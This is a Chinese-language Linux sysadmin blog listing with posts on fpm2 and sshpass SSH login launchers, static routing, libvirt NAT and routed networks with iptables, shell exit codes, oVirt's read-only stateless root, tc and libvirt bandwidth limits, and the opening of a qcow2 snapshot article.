跳到主要内容

· 阅读需 5 分钟

不知道有没有童鞋需要管理一堆ssh口令,5个以内靠脑子记可能是个好办法,但是如果10个100个的时候恐怕脑子记有点不太够用。

不知道有没有童鞋需要管理一堆ssh口令,5个以内靠脑子记可能是个好办法,但是如果10个100个的时候恐怕脑子记有点不太够用, 这个时候就需要借助外部工具来进行管理,当然你可以自己写个简单的脚本,把ssh账号密码写入一个list里面, 人懒且为了省事也可以使用一些现成的工具,下面就推荐一个图形界面的小工具给需要的童鞋:fpm2 fpm2全名Figaro's Paaword Manager 2,是一个开源软件,使用GNU General Public License Version 2 协议,这里是官方地址,它还有android版本的。

在fedora里面可以直接yum安装:

yum install fpm2

安装完成后第一次运行需要你输入一个密码,今后每次启动fpm2的时候就用这个密码,默认如果密码输入错误次数超过3次,则你懂的。

打开fpm2后,一看就明白如何使用,它支持ssh/web以及自定义的密码管理,可以对管理的服务器进行分类,十分方便。其亮点是你可以根据自己的需要设置launcher,默认双击建立好的口令就会自动执行launcher定义的命令;

launcher里面将保存的账号密码和IP/URL定义为参数,$a ip/url$u username$p password, 有了这些变量后自定义launcher就很方便了。

但是其默认的ssh的launcher是不支持直接双击list里面的项目就登陆进服务器的,这个时候需要另外一个小工具sshpass,它的用处是登陆ssh的时候可以把密码作为参数传递给ssh客户端,而不需要交互式输入密码,这个工具代码托管在sf,fedora里也可以yum安装:

yum install sshpass

光有这两个工具还不够,下面是将两个工具完美结合起来的关键:

在fpm2的settings选项卡下有launcher设置项,打开之后你会发现默认的ssh launcher,下面是我自定义的ssh的加载器命令:

配置launcher

gnome-terminal -e 'sh -c "'"sshpass -p '"'$p'"' ssh -p 22 $u@$a;sudo -s"'"'

特别注意里面的单双引号的写法,不然如果你的密码里有像%&$之类的特殊符号时是会出问题的,

gnome-terminal -e 'xxxxx' 这里是单引号

sh -c "'" xxxxx "'" 这里是两对双引号中包含的单引号

sshpass -p '"' xxx '"' 这里是两对单引号包含的双引号

ssh命令后面加个sudo -s的作用是当退出ssh连接时不会立即关闭当前的terminal终端

使用这个launcher可以通杀所有特殊字符的密码,在运行fpm2+sshpass的组合前请自己使用当前运行fpm2的账户登陆ssh一下远程服务器将服务器的publickey取回来,没有key的情况下sshpass无法工作的。至少我遇到的是这样。

· 阅读需 4 分钟

一个网卡的话不需要静态路由的,如果多个网卡的话可以手工配置静态路由,特别是多个网卡走不同的子网的时候。

来自网上搜索的方法

之前一直没有配置过两个网卡分别使用不同的IP,走不同的网关,google了下发现了下面的手工添加路由的脚本:

#!/bin/sh
ip route add 10.1.1.0/24 dev br0 src 10.1.1.10 table bond0
ip route add default via 10.1.1.1 dev br0 table bond0
ip rule add from 10.1.1.10/32 table bond0
ip rule add to 10.1.1.10/32 table bond0

ip route add 192.168.1.0/24 dev br1 src 192.168.1.10 table bond1
ip route add default via 192.168.1.1 dev br1 table bond1
ip rule add from 192.168.1.10/32 table bond1
ip rule add to 192.168.1.10/32 table bond1

来自红帽文档中的方法

后来想了想这样的问题系统肯定已经支持得很好了,只是没有找到配置方法,于是找了下红帽的文档,发现可以像下面这样配置:

配置静态路由

一个网卡的话不需要静态路由的,如果多个网卡的话可以手工配置静态路由,特别是多个网卡走不同的子网的时候。

route -n #查看当前路由信息

静态路由配置文件路径: /etc/sysconfig/network-scripts/route-interface_name 就和网卡的配置文件路径结构差不多,比如ifcfg-eth0变成了route-eth0。

eth0网卡的静态路由就保存在这个文件里面。这个文件可以有两种格式

  • IP命令参数格式
  • 网络/掩码指令格式

IP命令参数模式:

1)第一行定义默认路由:

default via X.X.X.X dev interface

X.X.X.X 是默认路由的IP. interface是可以连接到默认路由的网卡接口名.

2)静态路由一行一个:

X.X.X.X/X via X.X.X.X dev interface

X.X.X.X/X 是网络和掩码. X.X.X.X 和 interface 是各自网段的网关IP和网卡接口.

配置示例 route-eth0: 默认网关 192.168.0.1, 接口eth0. 两条静态路由到 10.10.10.0/24 和172.16.1.0/24 :

default via 192.168.0.1 dev eth0
10.10.10.0/24 via 10.10.10.1 dev eth1
172.16.1.0/24 via 192.168.0.1 dev eth0

网络/掩码指令格式:

route-interface文件的第二种格式.下面是样板:

ADDRESS0=X.X.X.X
NETMASK0=X.X.X.X
GATEWAY0=X.X.X.X

ADDRESS0=X.X.X.X 静态路由的网络编号. NETMASK0=X.X.X.X 为上面那行设置子网掩码 . GATEWAY0=X.X.X.X 能够连接到 ADDRESS0=X.X.X.X 这个网络的网关

配置示例 route-eth0: 默认网关 192.168.0.1, 接口 eth0. 两条到10.10.10.0/24 和172.16.1.0/24 的静态路由:

ADDRESS0=10.10.10.0
NETMASK0=255.255.255.0
GATEWAY0=10.10.10.1
ADDRESS1=172.16.1.0
NETMASK1=255.255.255.0
GATEWAY1=192.168.0.1

ADDRESS0, ADDRESS1, ADDRESS2, 这样的编号必须是一个接一个的数字。

· 阅读需 14 分钟

逐步分析libvirt中的网络管理方法及实践,分析在nat网络中遇到的问题及解决思路

libvirt网络基本概念

libvirt默认使用了一个名为default的nat网络,这个网络默认使用virbr0作为桥接接口,使用dnsmasq来为使用nat网络的虚拟机提供dns及dhcp服务,dnsmasq生效后的配置文件默认保存在以下路径:

  • /var/lib/libvirt/dnsmasq/default.hostsfile mac&&ip绑定的配置文件
  • /var/lib/libvirt/dnsmasq/default.leases dhcp分配到虚拟机的ip地址列表
  • /var/lib/libvirt/network/default.xml default网络的配置文件

dnsmasq服务的启动脚本在/etc/init.d/dnsmasq ,但是我们如果手动使用此脚本来启动服务将会导致dnsmasq读取其自己的配置文件来启动此服务,因此这么做是不推荐的,因为这个服务完全由libvirtd在接管,当libvirtd服务启动的时候,它会将它管理的被标记为autostart的network一并启动起来,而启动network的时候就会自动调用dnsmasq并赋予其适宜的配置文件来运行服务。

使用libvirt管理的网络都会用到dnsmasq来产生相应的配置,比如定义了一个名为route110的network,那么这个route110将使用一个新的桥接接口virbr1来接入网络,并使用dnsmasq产生名为route110.hostsfile和route110.leases的配置文件。其实这里提到的virbr0和virbr1都是libvirt产生的虚拟网卡,其作用就相当于一个虚拟交换机,为虚拟机提供网络转发服务。

libvirt中网络的类型

首先分析一下libvirt所能提供的网络类型:isolated 和forwarding,其中,isolated意为绝对隔离的网络,也就是说处于此网络内的虚拟机对于外界是隔离的,这种模式可以用到一些特殊的场合,比如虚拟机只提供给内部使用,虚拟机只要求能相互通信而不需要与互联网通信。另外一类,forwarding,就是把虚拟机的数据forward到物理网络实现与外部网络进行通讯,其中forwarding又分为两种:nat和routed。

nat

就是把虚拟机的网络数据在经过物理机网络的时候进行ip伪装,这样所有虚拟机出去的网络数据都相当于是物理机出去的数据,也就是说,我们可以分配给使用nat网络的虚拟机一个内网ip,而这个内网ip的虚拟机访问出去的时候外部网络看到的是物理机的公网ip,这样做的用处就是实现多个虚拟机共享物理主机的公网ip,节省公网ip地址;如前所述,默认情况下libvirt已经提供了一个名为default的nat网络,在不需要进行任何配置的情况下使用default网络的虚拟机即可访问互联网,但是互联网却无法访问虚拟机提供的服务,这是因为default网络只对虚拟机的数据包进行了伪装,而没有进行dnat和snat。

需要注意的是libvirt所实现的这种nat网络是通过物理机的iptables规则来实现的,也即是在虚拟机数据经过nat表的postrouting链出去的时候对其进行了伪装。

routed

forwarding模式的另外一种,routed,就是将虚拟机的数据直接通过物理机route出去,和nat一样,也是需要一个virbr虚拟网卡接口来与外面进行通信,这种模式的不同之处在于虚拟机的数据没有经过伪装便直接交给了外部网络,也就是说,使用route模式网络的虚拟机可以使用公网ip地址,而物理机却恰恰在这个时候完全可以使用一个内网ip而不对外提供访问,这样,虚拟机的网卡仅仅把物理机当作一个route数据的工具,此模式应用的场合很多,比如需要让虚拟机运行在一个dmz网络中。但是使用route模式有诸多限制,例如物理机的网络接口不够用的情况下。

这里需要注意的是,nat模式和route模式的区别仅仅在于前者使用了iptables对虚拟机的数据包进行了伪装,而后者没有。

自定义routed网络

在实际的虚拟机使用过程中,我们可能会碰到下面的情况:

  • 1 使用nat网络的虚拟机也需要对外提供服务,
  • 2 物理机只有一个网卡和一个ip,而我们现在既需要通过这个网卡来管理虚拟机,又需要使用这个网卡来提供route网络。

当然你所能碰到的问题可能千奇百怪,也可能根本没有碰到过此类bt问题。下面的内容只作为分析和解决问题的思路,不能生搬。在了解了libvirt的网络管理模式之后,就可以自己动手解决这些限制,下面重点解释第二种问题的解决方法:

首先假定route网络使用的是virbr1虚拟网卡,而虚拟机使用virbr1来为虚拟机提供服务,而我本机又有了一个br0作为em1的桥接网卡来对外提供网络服务,br0的ip是192.168.1.51

首先禁用br0:

ifdown br0

并配置br0的onboot为no,配置文件为onboot=no

然后我们定义了一个名为route的网络,virbr1的ip设置为192.168.1.51 ,这样做的目的是让virbr1取代之前的br0.

<network>
<name>route</name>
<uuid>6224b437-386b-f510-11d5-58d58b1ce87a</uuid>
<forward mode='route'/>
<bridge name='virbr1' stp='on' delay='0' />
<mac address='52:54:00:C8:9F:07'/>
<ip address='192.168.1.51' netmask='255.255.255.0'>
<dhcp>
<range start='192.168.1.128' end='192.168.1.254' />
</dhcp>
</ip>
</network>

接着生成并启用该网络

virsh net-define route.xml
virsh net-start route
virsh net-autostart route
  • /etc/libvirt/qemu/networks/ virsh net-define的network会保存到这
  • /var/lib/libvirt/network/ net-start启动了的network同时也会会保存到这
  • /etc/libvirt/qemu/networks/autostart/ net-autostart的network同时也会保存到这

接下来,我们需要修改em1的配置并将其桥接到virbr1上

ifcfg-em1

DEVICE="em1"
ONBOOT="yes"
BRIDGE=virbr1

接着启动em1

ifup em1

至此em1就被桥接到了virbr1上,可以使用下面的命令检查

brctl show

现在我们需要在本机添加一条默认路由,不然虚拟机是访问不了外面的:

route add default gw 192.168.1.1 dev virbr1

这里的192.168.1.1是真实的路由。至此,问题已经解决了。

自定义nat网络

下面说说问题1的解决方法: 既然知道了nat出去的虚拟机只能访问外网而外网却不能访问进来,nat又是通过iptables来做的,也就是当libvirt每次启动的时候都会往iptables最前面插入自己的规则以保证nat的虚拟机能正常访问外网,那么我们是不是可以通过修改iptables的规则来实现呢,比如我们需要一个内网ip的虚拟机对外提供80服务,那么我们就把物理机的80端口映射到这台虚拟机的80端口上,因为我们的物理机是可以直接和虚拟机通信的,只是外网不能而已,下面添加规则:

iptables -t nat -A PREROUTING -p tcp -i virbr1 --dport 80  -j DNAT --to-destination 192.168.122.2:80

这样我们对外部访问80端口进来的数据进行了dnat,而出去的我们不用snat,只需要再添加如下规则:

iptables -I FORWARD -i virbr1 -o virbr0 -p tcp -m state --state NEW -j ACCEPT

至此问题看似得到解决,但是我们忽略了一个关键的问题,那就是每当libvirt启动的时候就会往表的最前面插入它自己的规则,而iptables的规则是有先后顺序的,也就是说,我们自己添加的规则在libvirtd服务重启之后即被libvirt定义的规则所淹没,怎么办呢,我现在只想到了这么一个方法,直接修改libvirtd的启动脚本,在它的规则生效之后插入我们自定义的规则:

vi /etc/init.d/libvirtd

start() {
    echo -n $"Starting $SERVICE daemon: "
    initctl_check

    mkdir -p /var/cache/libvirt
    rm -rf /var/cache/libvirt/*
    KRB5_KTNAME=$KRB5_KTNAME daemon --pidfile $PIDFILE --check $SERVICE $PROCESS --daemon $LIBVIRTD_CONFIG_ARGS $LIBVIRTD_ARGS
    RETVAL=$?
    echo
    [ $RETVAL -eq 0 ] && touch /var/lock/subsys/$SERVICE
    sleep 1
    iptables -D FORWARD -i virbr1 -o virbr0 -p tcp -m state --state NEW -j ACCEPT
    iptables -I FORWARD -i virbr1 -o virbr0 -p tcp -m state --state NEW -j ACCEPT
... ...

至此问题基本解决。

route网络转换nat网络

另外一个问题,我们前面有发现route和nat的网络区别仅仅是一个做了nat的iptables规则一个没有,那么我们可不可以自己在iptables里面添加相应的规则将route网络变身为nat网络呢?答案肯定是可以的,只需要添加上下面的规则即可,原理还请观看本文的同学自己分析,这里假设我们route网络给虚拟机分配的ip是192.168.100.0/24网段:

iptables -t nat -A POSTROUTING -s 192.168.100.0/24 -d ! 192.168.100.0/24 -j MASQUERADE
iptables -A FORWARD --destination 192.168.100.0/24 -m state --state RELATED,ESTABLISHED -j ACCEPT

自定义dnsmasq

这里再添加一个可以手工启动dnsmasq的小脚本

#!/bin/bash
brctl addbr routebr
ifconfig routebr 192.168.122.1 netmask 255.255.255.0
iptables -t nat -A POSTROUTING -s 192.168.122.0/24 -d ! 192.168.122.0/24 -j MASQUERADE
iptables -A FORWARD --destination 192.168.122.0/24 -m state --state RELATED,ESTABLISHED -j ACCEPT
/usr/sbin/dnsmasq \
--strict-order \
--bind-interfaces \
--pid-file=/usr/local/vps/network/default.pid \
--conf-file= \
--except-interface lo \
--listen-address 192.168.122.1 \
--dhcp-range 192.168.122.2,192.168.122.254 \
--dhcp-leasefile=/usr/local/vps/network/dnsmasq/default.leases \
--dhcp-lease-max=253 \
--dhcp-no-override \
--dhcp-hostsfile=/usr/local/vps/network/dnsmasq/default.hostsfile

重启network导致网络中断

当我们需要实时修改network的配置并使之生效的时候,就得重新启动此network,也就是需要net-destroy再net-start一下,我们的配置才能生效,但是随之而来的问题是,当network被重新启动之后,虚拟机便无法访问网络了,除非把虚拟机的network interface重新attach一下,或者等到虚拟机重新启动,那么为什么会出现这样的问题呢?我们先从它的表象开始分析,至于是否要追究到源码里面就取决于同学们自己了,反正我暂时没那功夫。这里仅仅是抛出来了一块砖。

当一个network启动之后,会自动生成一个虚拟网卡接口如virbr1,也会生成其他一些需要的东西,而重新启动了libvirt的network之后这个接口也会被重启,所以就导致了中途有一个中断的过程,

那事情就比较清晰了,如果你将libvirt启动网络的所有过程拆分开来一个一个的手动生成,需要修改某一部分配置的时候实际上你只需要修改对应的配置文件而不需要重新启动这个virbr1接口,比如上面提到的mac+ip的绑定,如果把dnsmasq独立出来,不让libvirt接管,那么增加了mac+ip绑定之后,仅仅需要重启dnsmasq这个服务。

· 阅读需 3 分钟

编写shell脚本的时候,正确使用返回值是运维人员的基本操守

1.常见返回值

下表列出了常见shell命令的退出返回值:

返回值含义示例说明
1各种常见错误let "var1 = 1/0"shell里面最常见的错误返回值
2shell内建功能使用错误empty_function() 常见于关键字或者命令出错
126命令无法执行/dev/null由于权限等导致的命令无法执行
127命令无法找到illegal_command一般是PATH环境变量不对等
128退出返回值错误exit 3.14159返回值只能是整数,小数就不对了
128+n信号 "n"+128kill -9 $PPID of script$? 即返回 137 (128 + 9)
130ctrl+c 退出Ctl-C其实ctrl+c返回的是2 (130 = 128 + 2)
255*返回值超出可接受的范围exit -1只能是 0 - 255

2. init标准返回值

下表列出了关于/etc/init.d/目录下启动控制脚本的标准返回值:

  • 0 程序在运行或者服务状态OK
  • 1 程序已经死掉,但是 pid文件仍在 /var/run目录下存在
  • 2 程序已经死掉,但是lock文件仍在 /var/lock 目录下存在
  • 3 程序没有运行
  • 4 程序运行状态未知
  • 5-99 供LSB扩展的保留段
  • 100-149 供特定系统发行版使用的保留段
  • 150-199 供特定程序使用的保留段
  • 200-254 保留段

3. 建议返回值

在写shell脚本的时候需要注意自定义的退出返回值最好不要与上面表格中所定义的重复,对于管理人员来说养成良好的习惯有助于遇到错误时作出正确的判断。 根据上表至少可以得出,在自定义返回值的时候:

  • 最好不要用的:0-4 126-130 255
  • 应避免使用的:5-99
  • 可随意使用的:100-125 131-254

参考文档:

· 阅读需 10 分钟

我发现ovirt的node也就是运行虚拟机的主机被设计成了这样:整个根文件系统是只读的,只有部分配置文件被独立出来放到了另外的分区,问了几位IBM和红帽的工程师,明白了为什么需要这种stateless也就是无状态的设计

Ovirt简介

这是来自centos wiki中的描述:

oVirt 是个管理虚拟化的应用程序。言下之意就是你可利用 oVirt 的管理界面(oVirt 引擎)来管理硬件节点、存储及网络资源,并部署及监控在你的数据中心内运行的虚拟机器。 如果你熟识 VMware 的产器,oVirt 在理念上与 vSphere 类同。Red Hat 企业级虚拟化产品以 oVirt 作为基础,这个上游计划内开发的新功能,日后亦会在获支持的产品内出现。

ovirt是一套虚拟化管理的系统,其对标产品是vmware的vsphere,它分为ovirt-engine和ovirt-node,可以用ovirt的这套系统来管理虚拟机群,现在虚拟化相关产品众多,微软,vmware,oracle等都在做这方面的产品,于是IBM红帽ubuntu等厂商就联合起来开始搞这个东西了,红帽很早就开始投入kvm了,红帽做的是RHEV的整套系统,也分为node和engine只是名字不一样,后来干脆就把node的RHEV-H给贡献出来,大家一起搞ovirt了。前几天我也试用了一下ovirt和RHEV,发现他们的node也就是运行虚拟机的主机被设计成了这样: 整个根文件系统是只读的,只有部分配置文件被独立出来放到了另外的分区,问了几位IBM和红帽的工程师,才知道这叫stateless,无状态,这么做的好处是运行环境和存储分离,提高整体可用性。在分析了ovirt中的stateless实现机制之后,下面将在centos6上尝试手工配置,过程中请教了几位ovirt的开发,再次表示感谢

关于stateless

这种stateless的设计来自很早之前红帽在fedora里面做的尝试,目的是把系统做成liveCD,下面是一些关于stateless的描述:

read-only root file system(stateless linux)
Readonly root support.
This was add to Fedora for Stateless Linux, i.e. for creating live Fedora CDs.
How to use:
   * Edit `/etc/sysconfig/readonly-root`. Set 'READONLY' to 'yes'.
   * Add any exceptions that need to be writable that aren't in the stock `/etc/rwtab` to an /etc/rwtab.d file. (See below)
How it works:
   * On boot, we mount a tmpfs (by default, at /var/lib/stateless/writable), and then parse `/etc/rwtab` and `/etc/rwtab.d/*` for things to put there.
These files have the format:
`<type>  <path>`

* Types are as follows:
  * empty: An empty path. Example:
              `empty     /tmp`
  * dirs: A directory tree that is copied, empty. Example:
              `dirs      /var/run`
  * files: A file or directory tree that is copied intact. Example:
              `files     /etc/resolv.conf`

A stock rwtab is shipped with common things that need mounted.
When your computer comes back up, the root and any other system
partitions will be mounted read-only. All the files and directories
listed in `/etc/rwtab` will be mounted read-write on a tmpfs filesystem.
You can add additional files and directories to rwtab to make them
writable after reboot.

Note that this system is stateless. When you reboot again, everything
written to the tmpfs filesystem vanishes and the system will be exactly
as it was the last time it was booted. You could add a writable
filesystem on disk or NFS for writing files you want to retain after
rebooting.

Take a look at `/etc/rc.d/rc.sysinit` to see how the magic is done.
This capability is a "technology preview" (beta) and is buggy. Note that
`/etc/mtab` and thus "mount" do not show the complete list of filesystems
because the /etc directory is on a read-only filesystem. /proc/mounts
always shows the correct mount information. You could update `/etc/mtab`
from /proc/mounts to correct it both after boot and after running the
mount or umount commands to change mounts.

Run `fgrep -v rootfs /proc/mounts >/etc/mtab` to correct `/etc/mtab`.
Note that mounting or symlinking /proc/mounts to /etc/mtab causes other
problems such as breaking the df command.

You can change your read-only root filesystem to read-write mode
immediately with this command run by the root user:
`mount -n -o remount,rw /`

分析其实现机制

下面把分析过程记录下来:

首先我看到的是fstab文件

/etc/fstab

/dev/root / ext2 defaults,ro,noatime 0 0
devpts /dev/pts devpts gid=5,mode=620 0 0
tmpfs /dev/shm tmpfs defaults 0 0
proc /proc proc defaults 0 0
sysfs /sys sysfs defaults 0 0
/dev/HostVG/Config /config ext4 defaults,noauto,noatime 0 0
debugfs /sys/kernel/debug debugfs 0 0
/dev/HostVG/Swap swap swap defaults 0 0
/dev/HostVG/Logging /var/log ext4 defaults,noatime 0 0
/dev/HostVG/Data /data ext4 defaults,noatime 0 0
/data/images /var/lib/libvirt/images bind bind 0 0
/data/core /var/log/core bind bind 0 0

这里要注意的地方就是root后面的ro,也就是说被挂载成了只读,这说明stateless是在挂载磁盘之前就已经完成,那肯定跟系统启动相关, 接着我们找到rc.sysinit这个在系统启动阶段执行的脚本中下面这段内容:

/etc/rc.d/rc.sysinit

for file in /etc/statetab /etc/statetab.d/* ; do
    is_ignored_file "$file" && continue
    [ ! -f "$file" ] && continue

    if [ -f "$STATE_MOUNT/$file" ] ; then
        mount -n --bind "$STATE_MOUNT/$file" "$file"
    fi

    for path in $(grep -v "^#" "$file" 2>/dev/null); do
        mount_state "$path"
        [ -n "$SELINUX_STATE" -a -e "$path" ] && restorecon -R "$path"
    done
done

这段shell里面牵扯到了个/etc/statetab,而且通过对比普通系统还发现其他地方的不同

diff rc.sysinit /etc/rc.sysinit

102a103,108
> elif [[ "$system_release" =~ "CentOS" ]]; then
> [ "$BOOTUP" = "color" ] && echo -en "\\033[0;36m"
> echo -en "CentOS"
> [ "$BOOTUP" = "color" ] && echo -en "\\033[0;39m"
> PRODUCT=$(sed "s/CentOS \(.*\) \?release.*/\1/" /etc/system-release)
> echo " $PRODUCT"
499c505
< action $"Mounting local filesystems: " mount -a -t nonfs,nfs4,smbfs,ncpfs,cifs,gfs,gfs2,noproc,nosysfs,nodevpts -O no_netdev
---
> action $"Mounting local filesystems: " mount -a -t nonfs,nfs4,smbfs,ncpfs,cifs,gfs,gfs2 -O no_netdev
501c507
< action $"Mounting local filesystems: " mount -a -n -t nonfs,nfs4,smbfs,ncpfs,cifs,gfs,gfs2,noproc,nosysfs,nodevpts -O no_netdev
---
> action $"Mounting local filesystems: " mount -a -n -t nonfs,nfs4,smbfs,ncpfs,cifs,gfs,gfs2 -O no_netdev

接着看看这个/etc/statetab文件是个什么样子的:

/etc/statetab

# A list of paths which should be bind-mounted from a
# partition dedicated to persistent data
#
# See $STATE_LABEL in /etc/sysconfig/readonly-root
#
# Examples:
#
# /root
# /etc/ssh
# /var/spool/mail

顺藤摸瓜我们发现和/etc/sysconfig/readonly-root这个文件有关,从文件名上即可得知和只读的关联:

/etc/sysconfig/readonly-root

Set to 'yes' to mount the system filesystems read-only.
READONLY=yes
# Set to 'yes' to mount various temporary state as either tmpfs
# or on the block device labelled RW_LABEL. Implied by READONLY
TEMPORARY_STATE=no
# Place to put a tmpfs for temporary scratch writable space
RW_MOUNT=/var/lib/stateless/writable
# Label on local filesystem which can be used for temporary scratch space
RW_LABEL=stateless-rw
# Options to use for temporary mount
RW_OPTIONS=
# Label for partition with persistent data
STATE_LABEL=CONFIG 
# Where to mount to the persistent data
STATE_MOUNT=/config
# Options to use for peristent mount
STATE_OPTIONS=
# NFS server to use for persistent data?
CLIENTSTATE=

就是这个了,首先它把READONLY设置为yes,然后使用设备的LABEL号来指定需要挂载为读写的设备,然后就是挂载的位置STATE_MOUNT

同时还有/etc/rwtab以及rwtab.d目录与这个有关: /etc/rwtab

#files /etc/adjtime
#files /etc/ntp.conf
#files /etc/resolv.conf
#files /etc/lvm/.cache
#files /etc/lvm/archive
#files /etc/lvm/backup

上面这几项在ovirt-node里是被注释掉了的,它使用自己的方式来变更这几个文件

/etc/rwtab.d/ovirt

files /etc
dirs /var/lib/multipath
dirs /var/lib/net-snmp
dirs /var/lib/dnsmasq
files /root/.ssh
dirs /root/.uml
dirs /root/.virt-manager
dirs /home/admin/.virt-manager
files /var/cache/libvirt
files /var/empty/sshd/etc/localtime
files /var/lib/libvirt
files /var/lib/multipath
files /var/cache/multipathd
empty /mnt
empty /live
files /boot
empty /boot-kdump
empty /cgroup

上面这些是ovirt自定义的。最后就是看/config下面的files文件:

/config/files

/etc/fstab
/etc/shadow
/etc/default/ovirt
/etc/ssh/ssh_host_key
/etc/ssh/ssh_host_key.pub
/etc/ssh/ssh_host_dsa_key
/etc/ssh/ssh_host_dsa_key.pub
/etc/ssh/ssh_host_rsa_key
/etc/ssh/ssh_host_rsa_key.pub
/etc/iscsi/initiatorname.iscsi
/etc/sysconfig/network-scripts/ifcfg-eth0
/etc/sysconfig/network-scripts/ifcfg-breth0
/etc/sysconfig/network-scripts/ifcfg-eth1
/etc/ntp.conf
/etc/sysconfig/network
/etc/hosts
/etc/shadow
/etc/ssh/sshd_config

此列表内的文件就是rc.sysinit需要读取的,把他们一个个挂载为读写,这样就实现了可修改配置文件白名单,于是我就动手修改了系统里的这些文件,重启,一切看似正常,但是当关机的时候新的问题出现了,关机的时候提示/etc无法被卸载,为什么呢,然后就找到与关机有关的脚本:

diff /etc/rc.d/init.d/halt.orig /etc/rc.d/init.d/halt

141c141
< LANG=C __umount_loop '$2 ~ /^\/$|^\/proc|^\/dev/{next}
---
> LANG=C __umount_loop '$2 ~ /^\/$|^\/proc|^\/etc|^\/dev/{next}

原来在halt文件里也做了“手脚”,把/etc给加了进去,重启,修改,关机,一切正常。

参考文档

下面是可以参考的文档

· 阅读需 4 分钟

在kvm虚拟机管理的过程当中,对虚拟机带宽进行良好的控制是十分重要的。

linux系统当中对网络带宽的控制一般都是使用tc命令实现,tc即是traffic control的缩写,在这里可以找到有关tc命令的内容。

当然你可以手动使用tc命令来处理这些事情,比如使用cbq队列,htb队列等,都是可以实现的,网上找找应该有很多关于这方面的资料,

cbq队列示例

比如下面就是使用cbq队列限制src ip为192.168.1.102发送数据包的速率:

1.建立cbq队列

tc qdisc add dev eth0 root handle 1: cbq avpkt 1000 bandwidth 100mbit

2.建立带宽限制分类

tc class add dev eth0 parent 1: classid 1:1 cbq rate 60mbit allot 1500 prio 5 bounded isolated
tc class add dev eth0 parent 1: classid 1:2 cbq rate 70mbit allot 1500 prio 5 bounded isolated
tc class add dev eth0 parent 1: classid 1:3 cbq rate 80mbit allot 1500 prio 5 bounded isolated

3.建立过滤器

绑定指定带宽限制类型至指定虚拟机ip:

tc filter add dev eth0 parent 1: protocol ip prio 16 u32 match ip src 192.168.1.102 flowid 1:2

htb队列示例

我们可以在母机上给vm对应的虚拟网卡增加tc规则,使用htb队列,一个可用的脚本示例如下:

# add interface bandwidth limit
# usage: tc_add iface in_kbps out_kbps
tc_add() {
    local iface=$1
    local in_bw=$2
    local out_bw=$3
    local in_average="${in_bw}kbps"
    local in_peak="${in_bw}kbps"
    local out_average="${out_bw}kbps"
    local out_peak="${out_bw}kbps"
    local burst="2kb"
    local mtu=1500
    local r2q=$((in_bw*1000/mtu-1))
    local tc="/sbin/tc"
    [ $r2q -lt 1 ] && r2q=1
    if [ $in_bw != 0 ]; then
        $tc qdisc add dev $iface root handle 1: htb default 2 r2q $r2q
        $tc class add dev $iface parent 1: classid 1:1 htb rate $in_average \
            ceil $in_peak burst $burst cburst $burst
        $tc class add dev $iface parent 1:1 classid 1:2 htb rate $in_average \
            ceil $in_peak burst $burst cburst $burst
        $tc qdisc add dev $iface parent 1:2 handle 2: sfq perturb 10
        $tc filter add dev $iface parent 1:0 protocol ip handle 1 fw flowid 1
    fi
    if [ $out_bw != 0 ]; then
        $tc qdisc add dev $iface ingress
        $tc filter add dev $iface parent ffff: protocol ip u32 match ip src \
            0.0.0.0/0 police rate $out_average burst ${out_bw}kb mtu 64kb drop \
            flowid :1
    fi
}

# clean up interface bandwidth limit
# usage: tc_del iface
tc_del() {
    local iface=$1
    local tc="/sbin/tc"
    $tc qdisc del dev $iface root &>>/dev/null
    sleep 0.1
    $tc qdisc del dev $iface ingress &>>/dev/null
}

libvirt中的带宽控制

我比较推荐的方法还是直接使用libvirt,libvirt 中已经集成了带宽控制的功能,下面是关于带宽控制部分的xml描述:

使用方法:在网卡interface中加入

<bandwidth>
<inbound average='1000' peak='5000' burst='1024'/>
<outbound average='128' peak='256' burst='256'/>
</bandwidth>

以下是关于各项参数的解释,获取最新的信息可以参考libvirt文档.

  • mandatory attribute:

    • average: It specifies average bit rate on interface being shaped.
  • optional attributes:

    • peak: which specifies maximum rate at which interface can send data,
    • burst: amount of bytes that can be burst at peak speed.

Accepted values: integer numbers.

units:

  • average: kilobytes per second
  • peak: kilobytes per second
  • burst: kilobytes.

· 阅读需 17 分钟

这是一篇关于snapshots, blockpull, blockcommit的的介绍.作者和with Eric Blake, Jeff Cody,Kevin Wolf以及很多IRC和mailing lists里面的同学大量讨论以及作者大量的特向测试的基础之上总结出来的

基础知识

一个虚拟机快照可被看作是虚拟机的在某个指定时间的视图(包括他的操作系统和所有的程序).据此,某可以还原到一个之前的完整的状态,或者在guest运行的时候做个备份.所以,在我们继续深入之前我们必须搞懂两个名词:backing files和overlays .

QCOW2 backing files 与 overlays

qcow2(qemu copy-on-write)具有创建一个base-image,以及在base-image(即backing file)的基础上创建多个copy-on-write overlays镜像的能力.backing files和overlays十分有用,可以迅速的创建瘦装备虚拟机的实例,特别是在开发测试的时候可以让你迅速的回滚到之前的某个已知状态,丢弃overlay.

Figure-1

.--------------.    .-------------.    .-------------.    .-------------.
|              |    |             |    |             |    |             |
| RootBase     |<---| Overlay-1   |<---| Overlay-1A  <--- | Overlay-1B  |
| (raw/qcow2)  |    | (qcow2)     |    | (qcow2)     |    | (qcow2)     |
'--------------'    '-------------'    '-------------'    '-------------'

上图表明rootbase是overlay-1的backing file,以此类推.

Figure-2

.-----------.   .-----------.   .------------.  .------------.  .------------.
|           |   |           |   |            |  |            |  |            |
| RootBase  |<--- Overlay-1 |<--- Overlay-1A <--- Overlay-1B <--- Overlay-1C |
|           |   |           |   |            |  |            |  | (Active)   |
'-----------'   '-----------'   '------------'  '------------'  '------------'
   ^    ^
   |    |
   |    |       .-----------.    .------------.
   |    |       |           |    |            |
   |    '-------| Overlay-2 |<---| Overlay-2A |
   |            |           |    | (Active)   |
   |            '-----------'    '------------'
   |
   |
   |            .-----------.    .------------.
   |            |           |    |            |
   '------------| Overlay-3 |<---| Overlay-3A |
                |           |    | (Active)   |
                '-----------'    '------------'

上图表明我们可以只用单个backing file来创建多条链.

注意 : backing file 总是 只读 打开的. 换言之, 一旦新快照被创建,他的后端文件就不能被修改,(快照依赖于后端文件的这种状态).了解更多参见后面的('blockcommit' 节) .

示例 :

[FedoraBase.img] ----- <- [Fed-guest-1.qcow2] <- [Fed-w-updates.qcow2] <- [Fedora-guest-with-updates-1A]
                 \
                  \--- <- [Fed-guest-2.qcow2] <- [Fed-w-updates.qcow2] <- [Fedora-guest-with-updates-2A]

(注意箭头的方向,Fed-w-updates.qcow2 的backing file是 Fed-guest-1.qcow2)

上面的示例中可以看到 FedoraBase.img 安装了一个fedora17系统,并作为我们的backing file.现在这个backing file将作为模板快速的创建两个瘦装备实例,和 Figure-2 道理是一样的.

具体操作

